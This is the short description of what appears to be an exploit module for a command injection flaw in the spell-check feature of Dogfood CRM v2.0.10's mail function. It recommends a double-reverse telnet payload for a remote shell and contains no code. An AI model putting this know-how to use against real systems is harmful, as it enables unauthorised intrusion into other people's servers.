This module exploits a previously unpublished vulnerability in the
Dogfood CRM mail function which is vulnerable to command injection
in the spell check feature. Because of character restrictions, this
exploit works best with the double-reverse telnet payload. This
vulnerability was discovered by LSO and affects v2.0.10.
